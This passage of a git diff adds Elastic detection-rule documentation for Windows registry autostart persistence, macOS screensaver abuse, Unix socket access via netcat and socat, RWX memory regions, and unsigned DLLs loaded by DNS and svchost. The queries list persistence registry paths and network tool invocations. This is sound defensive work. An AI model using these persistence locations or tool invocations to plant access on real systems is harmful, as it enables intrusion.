"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\Control Panel\\Desktop\\scrnsave.exe", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName", + "HKLM\\SYSTEM\\ControlSet*\\Control\\SafeBoot\\AlternateShell", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\BootExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\BootExecuteNoPnpSync", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\SetupExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\SetupExecuteNoPnpSync", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\PlatformExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\Execute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\S0InitialCommand", + "HKLM\\SYSTEM\\ControlSet*\\Control\\ServiceControlManagerExtension", + "HKLM\\SYSTEM\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath", + "HKLM\\SYSTEM\\Setup\\CmdLine", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript") and + + not registry.data.strings : ("C:\\Windows\\system32\\userinit.exe", "cmd.exe", "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe") and + not (process.name : "rundll32.exe" and registry.path : "*\\Software\\Microsoft\\Internet Explorer\\Extensions\\*\\Script") and + not process.executable : ("C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe") and + not (process.name : ("TiWorker.exe", "poqexec.exe") and registry.value : "SetupExecute" and + registry.data.strings : ( + "C:\\windows\\System32\\poqexec.exe /display_progress \\SystemRoot\\WinSxS\\pending.xml", + "C:\\Windows\\System32\\poqexec.exe /skip_critical_poq /display_progress \\SystemRoot\\WinSxS\\pending.xml" + ) + ) and + not (process.name : "svchost.exe" and registry.value : "SCRNSAVE.EXE" and + registry.data.strings : ( + "%windir%\\system32\\rundll32.exe user32.dll,LockWorkStation", + "scrnsave.scr", + "%windir%\\system32\\Ribbons.scr" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Screensaver +** ID: T1546.002 +** Reference URL: https://attack.mitre.org/techniques/T1546/002/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Active Setup +** ID: T1547.014 +** Reference URL: https://attack.mitre.org/techniques/T1547/014/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unexpected-child-process-of-macos-screensaver-engine.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unexpected-child-process-of-macos-screensaver-engine.asciidoc new file mode 100644 index 0000000000..09e8a247e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unexpected-child-process-of-macos-screensaver-engine.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-unexpected-child-process-of-macos-screensaver-engine]] +=== Unexpected Child Process of macOS Screensaver Engine + +Identifies when a child process is spawned by the screensaver engine process, which is consistent with an attacker's malicious payload being executed after the screensaver activated on the endpoint. An adversary can maintain persistence on a macOS endpoint by creating a malicious screensaver (.saver) file and configuring the screensaver plist file to execute code each time the screensaver is activated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/saving-your-access-d562bf5bf90b +* https://github.com/D00MFist/PersistentJXA + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +- Analyze the descendant processes of the ScreenSaverEngine process for malicious code and suspicious behavior such +as a download of a payload from a server. +- Review the installed and activated screensaver on the host. Triage the screensaver (.saver) file that was triggered to +identify whether the file is malicious or not. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and process.parent.name == "ScreenSaverEngine" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Screensaver +** ID: T1546.002 +** Reference URL: https://attack.mitre.org/techniques/T1546/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unix-socket-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unix-socket-connection.asciidoc new file mode 100644 index 0000000000..60381a21d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unix-socket-connection.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-unix-socket-connection]] +=== Unix Socket Connection + +This rule monitors for inter-process communication via Unix sockets. Adversaries may attempt to communicate with local Unix sockets to enumerate application details, find vulnerabilities/configuration mistakes and potentially escalate privileges or set up malicious communication channels via Unix sockets for inter-process communication to attempt to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unix Socket Connection* + + +Unix sockets facilitate efficient inter-process communication (IPC) on the same host, crucial for system operations. However, adversaries can exploit them to probe applications, identify weaknesses, or establish covert channels. The detection rule identifies suspicious use of tools like netcat and socat with specific arguments, signaling potential misuse of Unix sockets for unauthorized communication or privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of netcat or socat with the specified arguments, focusing on the process name and arguments fields to verify the suspicious activity. +- Investigate the source and destination of the Unix socket connection by examining the process.args field to determine if the connection is legitimate or potentially malicious. +- Check the user context under which the process was executed to assess if there is any indication of privilege escalation attempts. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities that might indicate a broader attack. +- Examine the process lineage to understand the parent process and any child processes spawned, which might provide insights into how the suspicious process was initiated. +- Verify if the process is part of any known legitimate application or service by cross-referencing with system documentation or application inventories. + + +*False positive analysis* + + +- Legitimate administrative tasks using netcat or socat for system maintenance or monitoring can trigger alerts. To manage this, identify and whitelist specific scripts or commands used regularly by system administrators. +- Automated backup or monitoring tools that use Unix sockets for communication may be flagged. Review these tools and add them to an exception list if they are verified as safe and necessary for operations. +- Certain applications may use Unix sockets for legitimate inter-process communication, such as database services or web servers. Monitor these applications and exclude their typical behavior from the rule to prevent unnecessary alerts. +- Development environments where developers frequently use netcat or socat for testing purposes can generate false positives. Establish a policy to differentiate between development and production environments and apply exceptions accordingly. +- System services like libvirt, which are known to use Unix sockets, should be excluded from the rule as indicated by the exception for /var/run/libvirt/libvirt-sock. Regularly update this list to include other known benign services. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential lateral movement or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving netcat or socat with the flagged arguments. +- Conduct a thorough review of the affected system's logs to identify any unauthorized access or data manipulation that may have occurred. +- Reset credentials and review permissions for any accounts that may have been compromised or used in the attack. +- Apply patches or configuration changes to address any vulnerabilities or misconfigurations identified during the investigation. +- Monitor the affected system and network for any signs of recurring suspicious activity, focusing on Unix socket connections. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + ( + (process.name in ("nc", "ncat", "netcat", "nc.openbsd") and + process.args == "-U" and process.args : ("/usr/local/*", "/run/*", "/var/run/*")) or + (process.name == "socat" and + process.args == "-" and process.args : ("UNIX-CLIENT:/usr/local/*", "UNIX-CLIENT:/run/*", "UNIX-CLIENT:/var/run/*")) or + (process.name == "curl" and process.args : ("--unix-socket", "--abstract-unix-socket")) +) and +not ( + process.args == "/var/run/libvirt/libvirt-sock" or + process.parent.name in ("bundle", "ruby", "haproxystatus.sh") or + process.parent.command_line == "sh /docker-entrypoint autoheal" or + process.command_line like "*runtime.autoheal*" or + process.parent.executable == "/app/letsencrypt_service" or + process.parent.args in ("/usr/libexec/netdata/plugins.d/cgroup-name.sh", "/healthcheck") or + ?process.working_directory == "/app" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unknown-execution-of-binary-with-rwx-memory-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unknown-execution-of-binary-with-rwx-memory-region.asciidoc new file mode 100644 index 0000000000..59dd159851 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unknown-execution-of-binary-with-rwx-memory-region.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-unknown-execution-of-binary-with-rwx-memory-region]] +=== Unknown Execution of Binary with RWX Memory Region + +Monitors for the execution of a previously unknown unix binary with read, write and execute memory region permissions. The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. RWX permissions on memory is in many cases overly permissive, and should be analyzed thoroughly. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man2/mprotect.2.html +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unknown Execution of Binary with RWX Memory Region* + + +In Linux environments, the `mprotect()` system call is crucial for managing memory permissions, allowing processes to modify access rights of memory pages. Adversaries exploit this by granting read, write, and execute (RWX) permissions to inject and execute malicious code. The detection rule identifies suspicious RWX memory allocations by monitoring `mprotect()` calls, excluding known safe binaries, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the process.executable and process.name fields to identify the binary that triggered the alert. +- Investigate the command line arguments and parent process of the suspicious binary to understand its origin and purpose. +- Check the process's hash against known threat intelligence databases to determine if it is associated with any known malicious activity. +- Analyze the network activity of the process to identify any suspicious connections or data exfiltration attempts. +- Examine the user account under which the process is running to assess if it has been compromised or is being used for unauthorized activities. +- Review recent system logs and audit records for any other anomalies or related suspicious activities around the time of the alert. + + +*False positive analysis* + + +- Known safe binaries like Node.js, Java, and Apache may trigger the rule due to their legitimate use of RWX memory regions. These are already excluded in the rule, but additional similar applications might need to be added to the exclusion list. +- Custom or in-house developed applications that require RWX permissions for legitimate functionality can also cause false positives. Identify these applications and add them to the exclusion list to prevent unnecessary alerts. +- Development environments or testing frameworks that dynamically generate and execute code might be flagged. Consider excluding these environments if they are known and trusted within your organization. +- Security tools or monitoring software that perform memory analysis or manipulation could be mistakenly identified. Verify their behavior and exclude them if they are part of your security infrastructure. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new applications that are introduced. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the malicious code. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify the source and scope of the compromise, focusing on the unknown binary and its origin. +- Remove any malicious binaries or scripts identified during the forensic analysis to prevent further execution. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Restore the system from a known good backup if the integrity of the system is in question and ensure all security patches are applied post-restoration. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S mprotect +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and auditd.data.syscall:mprotect and auditd.data.a2:7 and not ( + process.executable:( + "/usr/share/kibana/node/bin/node" or "/usr/share/elasticsearch/jdk/bin/java" or "/usr/sbin/apache2" + ) or + process.name:(httpd or java or node or dotnet or github-desktop or code or tenzir or brave or qemu-* or php* or deno) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-dns-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-dns-service.asciidoc new file mode 100644 index 0000000000..cd1f4c8436 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-dns-service.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-unsigned-dll-loaded-by-dns-service]] +=== Unsigned DLL loaded by DNS Service + +Identifies unusual DLLs loaded by the DNS Server process, potentially indicating the abuse of the ServerLevelPluginDll functionality. This can lead to privilege escalation and remote code execution with SYSTEM privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ +* https://adsecurity.org/?p=4064 +* https://github.com/gtworek/PSBits/tree/master/ServerLevelPluginDll + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unsigned DLL loaded by DNS Service* + + +The DNS service in Windows environments is crucial for resolving domain names to IP addresses. It can be extended via DLLs, which, if unsigned, may indicate tampering. Adversaries exploit this by loading malicious DLLs to gain elevated privileges or execute code with SYSTEM rights. The detection rule identifies such threats by monitoring the DNS process for loading untrusted DLLs, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific DLL file that was loaded by the DNS service and check its file path and name for any known malicious indicators. +- Examine the file's code signature status and metadata to determine why it is not trusted or valid, and cross-reference with known trusted sources or databases. +- Investigate the process tree of dns.exe to identify any parent or child processes that may indicate how the unsigned DLL was introduced or executed. +- Check the system's event logs for any recent changes or anomalies around the time the DLL was loaded, focusing on events related to process creation, file modification, or user account activity. +- Analyze network traffic logs for any unusual DNS queries or outbound connections that could suggest communication with a command and control server. +- Assess the system for other signs of compromise, such as unauthorized user accounts, scheduled tasks, or registry changes that could indicate further exploitation or persistence mechanisms. +- If possible, isolate the affected system to prevent further potential malicious activity and begin remediation steps based on the findings. + + +*False positive analysis* + + +- Legitimate software updates or patches may introduce new DLLs that are unsigned. Verify the source of the update and, if trusted, create an exception for these DLLs to prevent future alerts. +- Custom or in-house applications might use unsigned DLLs for specific functionalities. Confirm the legitimacy of these applications and add them to an allowlist to avoid unnecessary alerts. +- Some third-party security or monitoring tools may load unsigned DLLs as part of their operation. Validate these tools with your security team and configure exceptions for known, safe DLLs. +- Development or testing environments often use unsigned DLLs during the software development lifecycle. Ensure these environments are properly segmented and consider excluding them from this rule to reduce noise. +- Legacy systems might rely on older, unsigned DLLs that are still in use. Conduct a risk assessment and, if deemed safe, exclude these DLLs from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate the DNS service process (dns.exe) to stop the execution of the malicious DLL and prevent further potential damage. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or software. +- Restore the DNS service to its original state by replacing the compromised DLL with a legitimate, signed version from a trusted source or backup. +- Review and update the system's security patches and configurations to address any vulnerabilities that may have been exploited, particularly those related to privilege escalation. +- Monitor the system and network for any signs of continued or repeated unauthorized activity, focusing on similar indicators of compromise. +- Report the incident to the appropriate internal security team or external authorities if required, providing details of the threat and actions taken for further investigation and response. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category : ("library", "process") and + event.type : ("start", "change") and event.action : ("load", "Image loaded*") and + process.executable : "?:\\windows\\system32\\dns.exe" and + not ?dll.code_signature.trusted == true and + not file.code_signature.status == "Valid" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-svchost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-svchost.asciidoc new file mode 100644 index 0000000000..a97e70585a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unsigned-dll-loaded-by-svchost.asciidoc @@ -0,0 +1,256 @@ +[[prebuilt-rule-8-19-34-unsigned-dll-loaded-by-svchost]] +=== Unsigned DLL Loaded by Svchost + +Identifies an unsigned library created in the last 5 minutes and subsequently loaded by a shared windows service (svchost). Adversaries may use this technique to maintain persistence or run with System privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unsigned DLL Loaded by Svchost* + + +Svchost.exe is a critical Windows process that hosts multiple services, allowing efficient resource management. Adversaries exploit this by loading unsigned DLLs to gain persistence or execute code with elevated privileges. The detection rule identifies such threats by monitoring DLLs recently created and loaded by svchost, focusing on untrusted signatures and unusual file paths, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the specific DLL file path and hash (dll.path and dll.hash.sha256) to determine if it is known to be associated with legitimate software or if it is potentially malicious. +- Check the creation time of the DLL (dll.Ext.relative_file_creation_time) to understand the timeline of events and correlate it with other activities on the system around the same time. +- Investigate the process that loaded the DLL (process.executable) to determine if it is a legitimate instance of svchost.exe or if it has been tampered with or replaced. +- Analyze the code signature status (dll.code_signature.trusted and dll.code_signature.status) to verify if 